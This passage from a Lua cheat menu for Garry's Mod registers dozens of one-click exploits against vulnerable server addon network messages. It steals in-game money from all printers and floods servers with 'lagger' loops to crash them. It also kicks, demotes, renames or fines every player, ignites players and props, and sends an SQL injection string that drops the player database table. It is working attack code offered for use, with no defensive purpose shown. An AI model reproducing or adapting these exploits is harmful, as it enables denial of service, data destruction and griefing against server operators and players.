5516net.SendToServer()
5517inputFrame:SetVisible(false)
5518end
5519end )
5520end
5521
5522status = ValidNetString("chname")
5523if (status) then
5524CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
5525addExploit( "76","Your RP Name #3", "discovered by Leith", function()
5526surface.PlaySound("garrysmod/ui_click.wav")
5527inputFrameExists = true
5528inputFrame = vgui.Create( "DFrame" )
5529inputFrame:SetTitle("Enter your name")
5530inputFrame:SetSize( 400, 75 )
5531inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5532inputFrame:SetDraggable(false)
5533inputFrame:ShowCloseButton(true)
5534inputFrame:MakePopup()
5535inputFrame.Paint = function( self, w, h )
5536draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5537end
5538local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5539TextEntry:SetSize( 380, 30 )
5540TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5541TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5542TextEntry.OnEnter = function( self )
5543surface.PlaySound("garrysmod/ui_click.wav")
5544NOTIFICATION("Changed")
5545net.Start("chname")
5546net.WriteString( (self:GetValue()) )
5547net.WriteString(" ")
5548net.SendToServer()
5549inputFrame:SetVisible(false)
5550end
5551end )
5552end
5553
5554status = ValidNetString("AbilityUse")
5555if (status) then
5556CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
5557addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
5558surface.PlaySound("garrysmod/ui_click.wav")
5559for k, v in ipairs(rp.abilities.list) do
5560CHATPRINT("ID - "..k.." | "..v:GetName())
5561inputFrameExists = true
5562inputFrame = vgui.Create( "DFrame" )
5563inputFrame:SetTitle("Enter the id of the bonus")
5564inputFrame:SetSize( 400, 75 )
5565inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5566inputFrame:SetDraggable(false)
5567inputFrame:ShowCloseButton(true)
5568inputFrame:MakePopup()
5569inputFrame.Paint = function( self, w, h )
5570draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5571end
5572local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5573TextEntry:SetSize( 380, 30 )
5574TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5575TextEntry:SetText( "6" )
5576TextEntry.OnEnter = function( self )
5577surface.PlaySound("garrysmod/ui_click.wav")
5578NOTIFICATION("Received")
5579net.Start("AbilityUse")
5580net.WriteInt(tonumber(self:GetValue()), 32)
5581net.SendToServer()
5582inputFrame:SetVisible(false)
5583end
5584end
5585end )
5586end
5587
5588status = ValidNetString("race_accept")
5589if (status) then
5590CHATPRINT("Exploit Trouvé : Get Car [race_accept]")
5591addExploit( "78","Get Car", "", function()
5592surface.PlaySound("garrysmod/ui_click.wav")
5593inputFrameExists = true
5594inputFrame = vgui.Create( "DFrame" )
5595inputFrame:SetTitle("Enter the id of the car")
5596inputFrame:SetSize( 400, 75 )
5597inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5598inputFrame:SetDraggable(false)
5599inputFrame:ShowCloseButton(true)
5600inputFrame:MakePopup()
5601inputFrame.Paint = function( self, w, h )
5602draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5603end
5604local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5605TextEntry:SetSize( 380, 30 )
5606TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5607TextEntry:SetText( "1" )
5608TextEntry.OnEnter = function( self )
5609surface.PlaySound("garrysmod/ui_click.wav")
5610NOTIFICATION("Starting")
5611net.Start("race_accept")
5612net.WriteInt(tonumber(self:GetValue()), 32)
5613net.SendToServer()
5614end
5615end )
5616end
5617
5618status = ValidNetString("NLR_SPAWN")
5619if (status) then
5620CHATPRINT("Exploit Trouvé : Respawn #3 [NLR_SPAWN]")
5621addExploit( "79","Respawn #3", "instant revival", function()
5622surface.PlaySound("garrysmod/ui_click.wav")
5623NOTIFICATION("Starting")
5624net.Start("NLR_SPAWN")
5625net.WriteEntity(LocalPlayer())
5626net.SendToServer()
5627end )
5628end
5629
5630status = ValidNetString("Kun_ZiptieStruggle")
5631if (status) then
5632CHATPRINT("Exploit Trouvé : Break Handcuffs [Kun_ZiptieStruggle]")
5633addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
5634surface.PlaySound("garrysmod/ui_click.wav")
5635NOTIFICATION("Starting")
5636for i=0,30 do
5637net.Start("Kun_ZiptieStruggle")
5638net.SendToServer()
5639end
5640end )
5641end
5642
5643status = ValidNetString("JB_Votekick")
5644if (status) then
5645CHATPRINT("Exploit Trouvé : Abuses Jailbreak Votekick [JB_Votekick]")
5646addExploit( "81","Abuses Jailbreak Votekick", "Kick Tous Le Monde", function()
5647surface.PlaySound("garrysmod/ui_click.wav")
5648NOTIFICATION("Starting")
5649for k,v in pairs(player.GetAll()) do
5650net.Start("JB_Votekick")
5651net.WriteEntity(v)
5652net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
5653net.SendToServer()
5654end
5655end )
5656end
5657
5658status = ValidNetString("Letthisdudeout")
5659if (status) then
5660CHATPRINT("Exploit Trouvé : ByB Force Bail [Letthisdudeout]")
5661addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
5662surface.PlaySound("garrysmod/ui_click.wav")
5663NOTIFICATION("Starting")
5664net.Start("Letthisdudeout")
5665net.WriteEntity(LocalPlayer())
5666net.SendToServer()
5667end )
5668end
5669
5670status = ValidNetString("opr_withdraw")
5671if (status) then
5672CHATPRINT("Exploit Trouvé : Lagger #14 [opr_withdraw]")
5673addExploit( "83","Lagger #14", "discovered by Leith", function()
5674surface.PlaySound("garrysmod/ui_click.wav")
5675NOTIFICATION("Starting")
5676timer.Create("lagger14", 0,0, function()
5677for i = 1, 1000 do
5678net.Start("opr_withdraw",true)
5679net.WriteEntity(LocalPlayer())
5680net.SendToServer()
5681end
5682end )
5683end )
5684end
5685
5686status = ValidNetString("NC_GetNameChange")
5687if (status) then
5688CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
5689addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
5690surface.PlaySound("garrysmod/ui_click.wav")
5691inputFrameExists = true
5692inputFrame = vgui.Create( "DFrame" )
5693inputFrame:SetTitle("Enter the name")
5694inputFrame:SetSize( 400, 75 )
5695inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5696inputFrame:SetDraggable(false)
5697inputFrame:ShowCloseButton(true)
5698inputFrame:MakePopup()
5699inputFrame.Paint = function( self, w, h )
5700draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5701end
5702local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5703TextEntry:SetSize( 380, 30 )
5704TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5705TextEntry:SetText( "AHAHAHAHAH" )
5706TextEntry.OnEnter = function( self )
5707surface.PlaySound("garrysmod/ui_click.wav")
5708NOTIFICATION("Starting")
5709for k, v in pairs( player.GetAll() ) do
5710net.Start("NC_GetNameChange")
5711net.WriteEntity(v)
5712net.WriteString( (self:GetValue()) )
5713net.WriteString( (self:GetValue()) )
5714net.SendToServer()
5715end
5716end
5717end )
5718end
5719
5720status = ValidNetString("revival_revive_accept")
5721if (status) then
5722CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
5723addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
5724surface.PlaySound("garrysmod/ui_click.wav")
5725if !timer.Exists( "exploit_revive" ) then
5726NOTIFICATION( "Enabled" )
5727timer.Create( "exploit_revive", 0.5, 0, function()
5728if !LocalPlayer():Alive() then
5729net.Start("revival_revive_accept")
5730net.SendToServer()
5731end
5732end )
5733else
5734timer.Remove( "exploit_revive" )
5735NOTIFICATION( "Disabled" )
5736end
5737end )
5738end
5739
5740status = ValidNetString("join_disconnect")
5741if (status) then
5742CHATPRINT("Exploit Trouvé : Lagger #15 [join_disconnect]")
5743addExploit( "86","Lagger #15", "b1g lags my duder", function()
5744surface.PlaySound("garrysmod/ui_click.wav")
5745NOTIFICATION("Starting")
5746if not timer.Exists("lagger15") then
5747timer.Create("lagger15", 0.5, 0, function()
5748for i = 1, 3000 do
5749net.Start("join_disconnect",true)
5750net.WriteEntity(table.Random(player.GetAll()))
5751net.SendToServer()
5752end
5753end)
5754else
5755timer.Remove("lagger15")
5756NOTIFICATION("Stopping")
5757end
5758end )
5759end
5760
5761status = ValidNetString("BuyFirstTovar")
5762if (status) then
5763CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
5764addExploit( "87","Free Physgun", "get physgun", function()
5765surface.PlaySound("garrysmod/ui_click.wav")
5766NOTIFICATION("Take physgun")
5767net.Start("BuyFirstTovar")
5768net.WriteString("0")
5769net.SendToServer()
5770end )
5771end
5772
5773status = ValidNetString("BuySecondTovar")
5774if (status) then
5775CHATPRINT("Exploit Trouvé : Free Gravitygun [BuySecondTovar]")
5776addExploit( "88","Free Gravitygun", "get gravitygun", function()
5777surface.PlaySound("garrysmod/ui_click.wav")
5778NOTIFICATION("Take gravitygun")
5779net.Start("BuySecondTovar")
5780net.WriteString("0")
5781net.SendToServer()
5782end )
5783end
5784
5785status = ValidNetString("MONEY_SYSTEM_GetWeapons")
5786if (status) then
5787CHATPRINT("Exploit Trouvé : Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
5788addExploit( "89","Give Weapons #2", "get weapons", function()
5789surface.PlaySound("garrysmod/ui_click.wav")
5790NOTIFICATION("Starting")
5791for i = 1,32 do
5792net.Start("MONEY_SYSTEM_GetWeapons")
5793net.WriteInt(i, 8)
5794net.SendToServer()
5795end
5796end )
5797end
5798
5799status = ValidNetString("MCon_Demote_ToServer")
5800if (status) then
5801CHATPRINT("Exploit Trouvé : Demote All Players #2 [MCon_Demote_ToServer]")
5802addExploit( "90","Demote All Players #2", "demote all players", function()
5803surface.PlaySound("garrysmod/ui_click.wav")
5804NOTIFICATION("Starting")
5805for k,v in pairs(player.GetAll()) do
5806net.Start("MCon_Demote_ToServer")
5807net.WriteString(v:SteamID())
5808net.SendToServer()
5809end
5810end )
5811end
5812
5813status = ValidNetString("withdrawMoney")
5814if (status) then
5815CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
5816addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, discovered by Leith", function()
5817surface.PlaySound("garrysmod/ui_click.wav")
5818NOTIFICATION("Starting")
5819for k, v in pairs(ents.GetAll()) do
5820net.Start("withdrawMoney")
5821net.WriteEntity(v)
5822net.SendToServer()
5823end
5824end )
5825end
5826
5827status = ValidNetString("withdrawMoney")
5828if (status) then
5829CHATPRINT("Exploit Trouvé : Lagger #16 [withdrawMoney]")
5830addExploit( "92","Lagger #16", "discovered by Leith", function()
5831surface.PlaySound("garrysmod/ui_click.wav")
5832NOTIFICATION("Starting")
5833timer.Create("lagger16", 0, 0, function()
5834for i=1,1000 do
5835net.Start("withdrawMoney",true)
5836net.WriteEntity(LocalPlayer())
5837net.SendToServer()
5838end
5839end )
5840end )
5841end
5842
5843status = ValidNetString("SyncPrinterButtons76561198027292625")
5844if (status) then
5845CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
5846addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
5847surface.PlaySound("garrysmod/ui_click.wav")
5848NOTIFICATION("Starting")
5849for k, v in pairs(ents.GetAll()) do
5850net.Start("SyncPrinterButtons76561198027292625")
5851net.WriteEntity(v)
5852net.WriteUInt(2, 4)
5853net.SendToServer()
5854end
5855end )
5856end
5857
5858status = ValidNetString("gPrinters.retrieveMoney")
5859if (status) then
5860CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
5861addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, discovered by Leith", function()
5862surface.PlaySound("garrysmod/ui_click.wav")
5863NOTIFICATION("Starting")
5864for k, v in pairs(ents.GetAll()) do
5865net.Start("gPrinters.retrieveMoney")
5866net.WriteEntity(v)
5867net.SendToServer()
5868end
5869end )
5870end
5871
5872status = ValidNetString("gPrinters.retrieveMoney")
5873if (status) then
5874CHATPRINT("Exploit Trouvé : Lagger #17 [gPrinters.retrieveMoney]")
5875addExploit( "95","Lagger #17", "discovered by Leith", function()
5876surface.PlaySound("garrysmod/ui_click.wav")
5877NOTIFICATION("Starting")
5878timer.Create("lagger17", 0, 0, function()
5879for i=1,1000 do
5880net.Start("gPrinters.retrieveMoney",true)
5881net.WriteEntity(LocalPlayer())
5882net.SendToServer()
5883end
5884end )
5885end )
5886end
5887
5888status = ValidNetString("NGII_TakeMoney")
5889if (status) then
5890CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
5891addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
5892surface.PlaySound("garrysmod/ui_click.wav")
5893NOTIFICATION("Starting")
5894for k, v in pairs(ents.GetAll()) do
5895net.Start("NGII_TakeMoney")
5896net.WriteEntity(v)
5897net.WriteEntity(LocalPlayer())
5898net.SendToServer()
5899end
5900end )
5901end
5902
5903status = ValidNetString("money_clicker_withdraw")
5904if (status) then
5905CHATPRINT("Exploit Trouvé : Lagger #18 [money_clicker_withdraw]")
5906addExploit( "97","Lagger #18", "discovered by Leith", function()
5907surface.PlaySound("garrysmod/ui_click.wav")
5908NOTIFICATION("Starting")
5909timer.Create("lagger18", 0, 0, function()
5910for i=1,1000 do
5911net.Start("money_clicker_withdraw",true)
5912net.WriteEntity(LocalPlayer())
5913net.SendToServer()
5914end
5915end )
5916end )
5917end
5918
5919status = ValidNetString("opr_withdraw")
5920if (status) then
5921CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
5922addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
5923surface.PlaySound("garrysmod/ui_click.wav")
5924NOTIFICATION("Starting")
5925for k, v in pairs(ents.GetAll()) do
5926net.Start("opr_withdraw")
5927net.WriteEntity(v)
5928net.SendToServer()
5929end
5930end )
5931end
5932
5933status = ValidNetString("NET_DoPrinterAction")
5934if (status) then
5935CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
5936addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
5937surface.PlaySound("garrysmod/ui_click.wav")
5938NOTIFICATION("Starting")
5939for k, v in pairs(ents.GetAll()) do
5940if v:GetClass():find("print") then
5941net.Start("NET_DoPrinterAction")
5942net.WriteEntity(LocalPlayer())
5943net.WriteEntity(v)
5944net.WriteInt(2,16)
5945net.SendToServer()
5946end
5947end
5948end )
5949end
5950
5951status = ValidNetString("tickbooksendfine")
5952if (status) then
5953CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
5954addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
5955surface.PlaySound("garrysmod/ui_click.wav")
5956NOTIFICATION("Starting")
5957local reasonstable = {"Nice nan ? :D"}
5958for k, v in pairs(player.GetAll()) do
5959if v != LocalPlayer() then
5960net.Start("tickbooksendfine")
5961net.WriteString(v:SteamID())
5962net.WriteTable(reasonstable)
5963net.WriteDouble(1500, 32)
5964net.SendToServer()
5965end
5966end
5967end )
5968end
5969
5970status = ValidNetString("SyncPrinterButtons16690")
5971if (status) then
5972CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
5973addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
5974surface.PlaySound("garrysmod/ui_click.wav")
5975NOTIFICATION("Starting")
5976for k, v in pairs(ents.GetAll()) do
5977if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
5978net.Start("SyncPrinterButtons16690")
5979net.WriteEntity(v)
5980net.WriteUInt(2, 4)
5981net.SendToServer()
5982end
5983end
5984end)
5985end
5986
5987status = ValidNetString("withdrawp")
5988if (status) then
5989CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
5990addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
5991surface.PlaySound("garrysmod/ui_click.wav")
5992NOTIFICATION("Starting")
5993for k,v in pairs(ents.FindByClass("derma_printer")) do
5994net.Start("withdrawp")
5995net.WriteEntity(v)
5996net.SendToServer()
5997end
5998end)
5999end
6000
6001status = ValidNetString("withdrawp")
6002if (status) then
6003CHATPRINT("Exploit Trouvé : Lagger #19 [withdrawp]")
6004addExploit( "103","Lagger #19", "discovered by Leith", function()
6005surface.PlaySound("garrysmod/ui_click.wav")
6006NOTIFICATION("Starting")
6007timer.Create("lagger19", 0, 0, function()
6008for i=1,1000 do
6009net.Start("withdrawp",true)
6010net.WriteEntity(LocalPlayer())
6011net.SendToServer()
6012end
6013end )
6014end )
6015end
6016
6017status = ValidNetString("DarkRP_SS_Gamble")
6018if (status) then
6019CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
6020addExploit( "104","Argent Gratuite #3", "an exploit in the addon 'DarkRP Casino'", function()
6021surface.PlaySound("garrysmod/ui_click.wav")
6022NOTIFICATION("Starting")
6023net.Start("DarkRP_SS_Gamble")
6024net.WriteInt(99999, 32)
6025net.WriteInt(1, 32)
6026net.WriteInt(0, 32)
6027net.WriteInt(0, 32)
6028net.WriteInt(1, 32)
6029net.SendToServer()
6030end )
6031end
6032
6033status = ValidNetString("PCAdd")
6034if (status) then
6035CHATPRINT("Exploit Trouvé : Delete Promocode [PCAdd]")
6036addExploit( "105","Delete Promocode", "delete all promocodes", function()
6037surface.PlaySound("garrysmod/ui_click.wav")
6038NOTIFICATION("Starting")
6039net.Start("PCAdd")
6040net.WriteString("alahman")
6041net.WriteString("300000000")
6042net.SendToServer()
6043timer.Simple(3,function()
6044net.Start("ActivatePC")
6045net.WriteString("alahman")
6046net.SendToServer()
6047net.Start("PCDelAll")
6048net.SendToServer()
6049end )
6050end )
6051end
6052
6053status = ValidNetString("viv_hl2rp_disp_message")
6054if (status) then
6055CHATPRINT("Exploit Trouvé : HL2 Disp Message [viv_hl2rp_disp_message]")
6056addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6057surface.PlaySound("garrysmod/ui_click.wav")
6058NOTIFICATION("Starting")
6059for name, command in pairs (dispatchCommands) do
6060net.Start("viv_hl2rp_disp_message")
6061net.WriteString(command)
6062net.SendToServer()
6063end
6064end )
6065end
6066
6067status = ValidNetString("Kun_SellDrug")
6068if (status) then
6069CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
6070addExploit( "107","Argent Gratuite #4", "get monies", function()
6071surface.PlaySound("garrysmod/ui_click.wav")
6072if !timer.Exists( "freemoney4" ) then
6073NOTIFICATION("Starting")
6074timer.Create( "freemoney4", 0, 0, function()
6075for i=1,1000 do
6076net.Start("Kun_SellDrug")
6077net.WriteString("mushroom")
6078net.SendToServer()
6079end
6080end)
6081else
6082timer.Remove( "freemoney4" )
6083NOTIFICATION("Stopping")
6084end
6085end )
6086end
6087
6088status = ValidNetString("net_PSUnBoxServer")
6089if (status) then
6090CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
6091addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6092surface.PlaySound("garrysmod/ui_click.wav")
6093NOTIFICATION("Starting")
6094for k,v in pairs(player.GetAll()) do
6095local i = 0
6096for k2,v2 in pairs(PS.Items) do
6097if !v:PS_HasItem(v2.ID) then
6098timer.Simple(k*i*1.7,function()
6099net.Start("net_PSUnBoxServer")
6100net.WriteEntity(v)
6101net.WriteString(v2.ID)
6102net.SendToServer()
6103end)
6104i = i + 1
6105end
6106end
6107end
6108end )
6109end
6110
6111status = ValidNetString("pplay_sendtable")
6112if (status) then
6113CHATPRINT("Exploit Trouvé : ☢ Fuck the SQL database ☢ [pplay_sendtable]")
6114addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
6115surface.PlaySound("garrysmod/ui_click.wav")
6116NOTIFICATION("Starting")
6117local tbl = {}
6118tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6119tbl.ply = LocalPlayer()
6120net.Start("pplay_sendtable")
6121net.WriteTable(tbl)
6122net.SendToServer()
6123end )
6124end
6125
6126status = ValidNetString("75_plus_win")
6127if (status) then
6128CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
6129addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
6130surface.PlaySound("garrysmod/ui_click.wav")
6131NOTIFICATION("Starting")
6132net.Start("75_plus_win")
6133net.WriteString("99999999")
6134net.WriteEntity(LocalPlayer())
6135net.SendToServer()
6136end )
6137end
6138
6139status = ValidNetString("ATMDepositMoney")
6140if (status) then
6141CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
6142addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
6143surface.PlaySound("garrysmod/ui_click.wav")
6144NOTIFICATION("Starting")
6145net.Start("ATMDepositMoney")
6146net.WriteFloat(-9999999)
6147net.SendToServer()
6148end )
6149end
6150
6151status = ValidNetString("SellMinerals")
6152if (status) then
6153CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
6154addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
6155surface.PlaySound("garrysmod/ui_click.wav")
6156NOTIFICATION("Starting")
6157for k,v in pairs(SkillDB) do
6158if not ( v.iSkill == true ) then
6159net.Start("Upgrade")
6160net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6161net.SendToServer()
6162net.Start("SellMinerals")
6163net.WriteTable({ Target = LocalPlayer() })
6164net.SendToServer()
6165end
6166end
6167end )
6168end
6169
6170status = ValidNetString("TakeBetMoney")
6171if (status) then
6172CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
6173addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
6174surface.PlaySound("garrysmod/ui_click.wav")
6175NOTIFICATION("Starting")
6176net.Start("TakeBetMoney")
6177net.WriteTable({1e333333 , 1e333333})
6178net.SendToServer()
6179end )
6180end
6181
6182status = ValidNetString("Kun_SellOil")
6183if (status) then
6184CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
6185addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
6186surface.PlaySound("garrysmod/ui_click.wav")
6187NOTIFICATION("Starting")
6188for k,v in pairs(ents.GetAll()) do
6189net.Start("Kun_SellOil")
6190net.WriteEntity(v)
6191net.SendToServer()
6192end
6193end )
6194end
6195
6196status = ValidNetString("DepositMoney")
6197if (status) then
6198CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
6199addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
6200surface.PlaySound("garrysmod/ui_click.wav")
6201NOTIFICATION("Starting")
6202net.Start("DepositMoney")
6203for k,v in pairs(ents.GetAll()) do
6204net.WriteEntity(v)
6205net.WriteString(-100000000 )
6206net.WriteEntity(LocalPlayer())
6207net.SendToServer()
6208end
6209end )
6210end
6211
6212status = ValidNetString("NET_SS_DoBuyTakeoff")
6213if (status) then
6214CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
6215addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
6216surface.PlaySound("garrysmod/ui_click.wav")
6217NOTIFICATION("Starting")
6218net.Start("NET_SS_DoBuyTakeoff",true)
6219net.WriteEntity(LocalPlayer())
6220net.WriteEntity(table.Random(player.GetAll()))
6221net.WriteTable({})
6222net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6223net.SendToServer()
6224end )
6225end
6226
6227status = ValidNetString("NET_EcSetTax")
6228if (status) then
6229CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
6230addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
6231surface.PlaySound("garrysmod/ui_click.wav")
6232NOTIFICATION("Starting")
6233net.Start("NET_EcSetTax")
6234net.WriteInt(-9999999999, 16)
6235net.SendToServer()
6236end )
6237end
6238
6239status = ValidNetString("RP_Accept_Fine")
6240if (status) then
6241CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
6242addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
6243surface.PlaySound("garrysmod/ui_click.wav")
6244NOTIFICATION("Starting")
6245for k,v in pairs(player.GetAll())do
6246net.Start("RP_Accept_Fine")
6247net.WriteString(v:Nick())
6248net.WriteDouble(-999999999999)
6249net.SendToServer()
6250end
6251end )
6252end
6253
6254status = ValidNetString("drugseffect_remove")
6255if (status) then
6256CHATPRINT("Exploit Trouvé : Remove Weapons [drugseffect_remove]")
6257addExploit( "119","Remove Weapons", "remove all weapons", function()
6258surface.PlaySound("garrysmod/ui_click.wav")
6259NOTIFICATION("Starting")
6260net.Start("drugseffect_remove")
6261net.SendToServer()
6262end )
6263end
6264
6265status = ValidNetString("drugs_money")
6266if (status) then
6267CHATPRINT("Exploit Trouvé : Remove Money [drugs_money]")
6268addExploit( "120","Remove Money", "remove all money", function()
6269surface.PlaySound("garrysmod/ui_click.wav")
6270NOTIFICATION("Starting")
6271net.Start("drugs_money")
6272net.SendToServer()
6273end )
6274end
6275
6276status = ValidNetString("CRAFTINGMOD_SHOP")
6277if (status) then
6278CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
6279addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
6280surface.PlaySound("garrysmod/ui_click.wav")
6281NOTIFICATION("Starting")
6282net.Start("CRAFTINGMOD_SHOP")
6283net.WriteTable({
6284BUY = -9999999;
6285type = 1
6286})
6287net.WriteInt(1,16)
6288net.SendToServer()
6289end )
6290end
6291
6292status = ValidNetString("drugs_ignite")
6293if (status) then
6294CHATPRINT("Exploit Trouvé : Fire Players [drugs_ignite]")
6295addExploit( "122","Fire Players", "", function()
6296surface.PlaySound("garrysmod/ui_click.wav")
6297NOTIFICATION("Starting")
6298net.Start("drugs_ignite")
6299net.WriteString("player")
6300net.SendToServer()
6301end )
6302end
6303
6304status = ValidNetString("drugs_ignite")
6305if (status) then
6306CHATPRINT("Exploit Trouvé : Fire Props [drugs_ignite]")
6307addExploit( "123","Fire Props", "", function()
6308surface.PlaySound("garrysmod/ui_click.wav")
6309NOTIFICATION("Starting")
6310net.Start("drugs_ignite")
6311net.WriteString("prop_physics")
6312net.SendToServer()
6313end )
6314end
6315
6316status = ValidNetString("drugseffect_hpremove")
6317if (status) then
6318CHATPRINT("Exploit Trouvé : Change HP [drugseffect_hpremove]")
6319addExploit( "124","Change HP", "", function()
6320surface.PlaySound("garrysmod/ui_click.wav")
6321NOTIFICATION("Starting")
6322net.Start("drugseffect_hpremove")
6323net.WriteString(99999)
6324net.SendToServer()
6325end )
6326end
6327
6328status = ValidNetString("drugs_text")
6329if (status) then
6330CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
6331addExploit( "125","Supprimer Tous Les Props #2", "", function()
6332surface.PlaySound("garrysmod/ui_click.wav")
6333NOTIFICATION("Starting")
6334net.Start("drugs_text")
6335net.WriteString("prop_physics")
6336net.SendToServer()
6337end )
6338end
6339
6340status = ValidNetString("drugs_give")
6341if (status) then
6342CHATPRINT("Exploit Trouvé : Give Everyone RPG [drugs_give]")
6343addExploit( "126","Give Everyone RPG", "", function()
6344surface.PlaySound("garrysmod/ui_click.wav")
6345NOTIFICATION("Starting")
6346net.Start("drugs_give")
6347net.WriteString("weapon_rpg")
6348net.SendToServer()
6349end )
6350end
6351
6352status = ValidNetString("drugs_text")
6353if (status) then
6354CHATPRINT("Exploit Trouvé : Remove Water [drugs_text]")
6355addExploit( "127","Remove Water", "", function()
6356surface.PlaySound("garrysmod/ui_click.wav")
6357NOTIFICATION("Starting")
6358net.Start("drugs_text")
6359net.WriteString("func_water_analog")
6360net.SendToServer()
6361end )
6362end
6363
6364status = ValidNetString("drugs_effect")
6365if (status) then
6366local eye = LocalPlayer():GetEyeTrace().Entity
6367local send = "del|"..eye:EntIndex()
6368CHATPRINT("Exploit Trouvé : Remove looking at [drugs_effect]")
6369addExploit( "128","Remove looking at", "", function()
6370surface.PlaySound("garrysmod/ui_click.wav")
6371NOTIFICATION("Starting")
6372net.Start("drugs_effect")
6373net.WriteString(send)
6374net.SendToServer()
6375end )
6376end
6377
6378status = ValidNetString("RecKickAFKer")
6379if (status) then
6380CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
6381addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
6382surface.PlaySound("garrysmod/ui_click.wav")
6383NOTIFICATION("Starting")
6384for k, v in pairs( player.GetAll() ) do
6385net.Start("RecKickAFKer")
6386net.WriteEntity(v)
6387net.SendToServer()
6388end
6389end )
6390end
